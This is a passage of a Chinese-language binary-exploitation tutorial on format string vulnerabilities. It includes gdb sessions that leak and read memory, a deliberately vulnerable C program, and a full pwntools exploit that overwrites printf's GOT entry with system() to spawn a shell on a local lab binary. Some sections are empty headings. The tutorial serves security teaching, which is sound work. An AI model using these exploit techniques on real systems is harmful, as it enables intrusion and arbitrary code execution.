0xffffd594: 0x2e 0x25 0x70 0x2e
|
||
gdb-peda$ python print('\x2e\x25\x70')
|
||
.%p
|
||
```
|
||
下面是程序运行的结果:
|
||
```
|
||
gdb-peda$ c
|
||
Continuing.
|
||
AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
|
||
```
|
||
`0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`:
|
||
```
|
||
$ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text
|
||
$ gdb -q a.out
|
||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||
gdb-peda$ b printf
|
||
Breakpoint 1 at 0x8048350
|
||
gdb-peda$ r < text
|
||
Starting program: /home/firmy/Desktop/RE4B/a.out < text
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd584 --> 0xffffd57a ("ABCD")
|
||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||
ECX: 0x1
|
||
EDX: 0xf7f9883c --> 0x0
|
||
ESI: 0xf7f96e68 --> 0x1bad90
|
||
EDI: 0x0
|
||
EBP: 0xffffd618 --> 0x0
|
||
ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
|
||
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
|
||
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0xf7e27c1b <fprintf+27>: ret
|
||
0xf7e27c1c: xchg ax,ax
|
||
0xf7e27c1e: xchg ax,ax
|
||
=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
|
||
0xf7e27c25 <printf+5>: add eax,0x16f243
|
||
0xf7e27c2a <printf+10>: sub esp,0xc
|
||
0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
|
||
0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
|
||
No argument
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
|
||
0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD")
|
||
0008| 0xffffd554 --> 0x1
|
||
0012| 0xffffd558 --> 0x88888888
|
||
0016| 0xffffd55c --> 0xffffffff
|
||
0020| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||
0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD")
|
||
0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
|
||
Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
|
||
gdb-peda$ x/20w $esp
|
||
0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888
|
||
0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc
|
||
0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
|
||
0xffffd57c: 0x00004443 0x00000000 0xffffd57a 0x3331252e
|
||
0xffffd58c: 0x00007324 0xffffd5ca 0x00000001 0x000000c2
|
||
gdb-peda$ x/s 0xffffd57a
|
||
0xffffd57a: "ABCD"
|
||
gdb-peda$ c
|
||
Continuing.
|
||
z<EFBFBD><EFBFBD><EFBFBD>.ABCD
|
||
```
|
||
|
||
当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 `system()`)。如下面展示的这样:
|
||
|
||
先看一下重定向表:
|
||
```
|
||
$ readelf -r a.out
|
||
|
||
Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
|
||
Offset Info Type Sym.Value Sym. Name
|
||
08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
|
||
|
||
Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
|
||
Offset Info Type Sym.Value Sym. Name
|
||
0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
|
||
0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
|
||
0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
|
||
0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
|
||
```
|
||
`.rel.plt` 中有四个函数可供我们选择,但是这里就有一些技巧了。
|
||
|
||
啊,要到12点了,先push了,打卡要紧,打卡要紧。
|
||
|
||
#### 覆盖栈内容
|
||
|
||
#### 覆盖任意地址内存
|
||
|
||
|
||
## x86-64 中的格式化字符串漏洞
|
||
|
||
|
||
## CTF 中的格式化字符串漏洞
|
||
|
||
#### pwntools pwnlib.fmtster 模块
|
||
|
||
文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html
|
||
|
||
该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`。
|
||
|
||
`FmtStr` 提供了自动化的字符串漏洞利用:
|
||
```python
|
||
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
|
||
```
|
||
- execute_fmt (function):与漏洞进程进行交互的函数
|
||
- offset (int):你控制的第一个格式化程序的偏移量
|
||
- padlen (int):在 paylod 之前添加的 pad 的大小
|
||
- numbwritten (int):已经写入的字节数
|
||
|
||
`fmtstr_payload` 用于自动生成格式化字符串 paylod:
|
||
```python
|
||
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
|
||
```
|
||
- offset (int):你控制的第一个格式化程序的偏移量
|
||
- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got})
|
||
- numbwritten (int):已经由 printf 函数写入的字节数
|
||
- write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)
|
||
|
||
我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
|
||
```c
|
||
#include<stdio.h>
|
||
void main() {
|
||
char str[1024];
|
||
while(1) {
|
||
memset(str, '\0', 1024);
|
||
read(0, str, 1024);
|
||
printf(str);
|
||
fflush(stdout);
|
||
}
|
||
}
|
||
```
|
||
|
||
为了简单一点,我们关闭 ASLR,并使用下面的命令编译,关闭 PIE,使得程序的 .text .bss 等段的内存地址固定:
|
||
```
|
||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||
```
|
||
|
||
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
|
||
|
||
第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp,但这里,我们还是先演示手工方法怎么做,最后再用 pwntools 的方法。在 gdb 中,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下:
|
||
```text
|
||
gdb-peda$ b main
|
||
...
|
||
gdb-peda$ r
|
||
...
|
||
gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd1f0 ("AAAA\n")
|
||
EBX: 0x804a000 --> 0x8049f10 --> 0x1
|
||
ECX: 0xffffd1f0 ("AAAA\n")
|
||
EDX: 0x400
|
||
ESI: 0xf7f97000 --> 0x1bbd90
|
||
EDI: 0x0
|
||
EBP: 0xffffd5f8 --> 0x0
|
||
ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
|
||
EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)
|
||
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x8048508 <main+82>: sub esp,0xc
|
||
0x804850b <main+85>: lea eax,[ebp-0x408]
|
||
0x8048511 <main+91>: push eax
|
||
=> 0x8048512 <main+92>: call 0x8048370 <printf@plt>
|
||
0x8048517 <main+97>: add esp,0x10
|
||
0x804851a <main+100>: mov eax,DWORD PTR [ebx-0x4]
|
||
0x8048520 <main+106>: mov eax,DWORD PTR [eax]
|
||
0x8048522 <main+108>: sub esp,0xc
|
||
Guessed arguments:
|
||
arg[0]: 0xffffd1f0 ("AAAA\n")
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
|
||
0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
|
||
0008| 0xffffd1e8 --> 0x400
|
||
0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)
|
||
0016| 0xffffd1f0 ("AAAA\n")
|
||
0020| 0xffffd1f4 --> 0xa ('\n')
|
||
0024| 0xffffd1f8 --> 0x0
|
||
0028| 0xffffd1fc --> 0x0
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x08048512 in main ()
|
||
```
|
||
我们看到输入 `printf()` 的变量 `arg[0]: 0xffffd1f0 ("AAAA\n")` 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。
|
||
|
||
读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset):
|
||
```text
|
||
$ readelf -r a.out
|
||
|
||
Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
|
||
Offset Info Type Sym.Value Sym. Name
|
||
08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
|
||
08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
|
||
|
||
Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
|
||
Offset Info Type Sym.Value Sym. Name
|
||
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
|
||
0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
|
||
0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
|
||
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
|
||
0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0
|
||
```
|
||
|
||
在 gdb 中获得 `printf()` 的虚拟地址:
|
||
```text
|
||
gdb-peda$ p printf
|
||
$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>
|
||
```
|
||
|
||
获得 `system()` 的虚拟地址:
|
||
```text
|
||
gdb-peda$ p system
|
||
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
|
||
```
|
||
|
||
好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码:
|
||
```python
|
||
# -*- coding: utf-8 -*-
|
||
from pwn import *
|
||
|
||
elf = ELF('./a.out')
|
||
r = process('./a.out')
|
||
libc = ELF('/usr/lib32/libc.so.6')
|
||
|
||
# 计算偏移量
|
||
def exec_fmt(payload):
|
||
r.sendline(payload)
|
||
info = r.recv()
|
||
return info
|
||
auto = FmtStr(exec_fmt)
|
||
offset = auto.offset
|
||
|
||
# 获得 printf 的 GOT 地址
|
||
printf_got = elf.got['printf']
|
||
log.success("printf_got => {}".format(hex(printf_got)))
|
||
|
||
# 获得 printf 的虚拟地址
|
||
payload = p32(printf_got) + '%{}$s'.format(offset)
|
||
r.send(payload)
|
||
printf_addr = u32(r.recv()[4:8])
|
||
log.success("printf_addr => {}".format(hex(printf_addr)))
|
||
|
||
# 获得 system 的虚拟地址
|
||
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
|
||
log.success("system_addr => {}".format(hex(system_addr)))
|
||
|
||
payload = fmtstr_payload(offset, {printf_got : system_addr})
|
||
r.send(payload)
|
||
r.send('/bin/sh')
|
||
r.recv()
|
||
r.interactive()
|
||
```
|
||
|
||
```text
|
||
$ python2 exp.py
|
||
[*] '/home/firmy/Desktop/RE4B/a.out'
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX enabled
|
||
PIE: No PIE (0x8048000)
|
||
[+] Starting local process './a.out': pid 17375
|
||
[*] '/usr/lib32/libc.so.6'
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: Canary found
|
||
NX: NX enabled
|
||
PIE: PIE enabled
|
||
[*] Found format string offset: 4
|
||
[+] printf_got => 0x804a010
|
||
[+] printf_addr => 0xf7e26bf0
|
||
[+] system_addr => 0xf7e17060
|
||
[*] Switching to interactive mode
|
||
$ echo "hacked!"
|
||
hacked!
|
||
```
|
||
这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。
|
||
|
||
|
||
|
||
# 扩展阅读
|
||
[Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)
|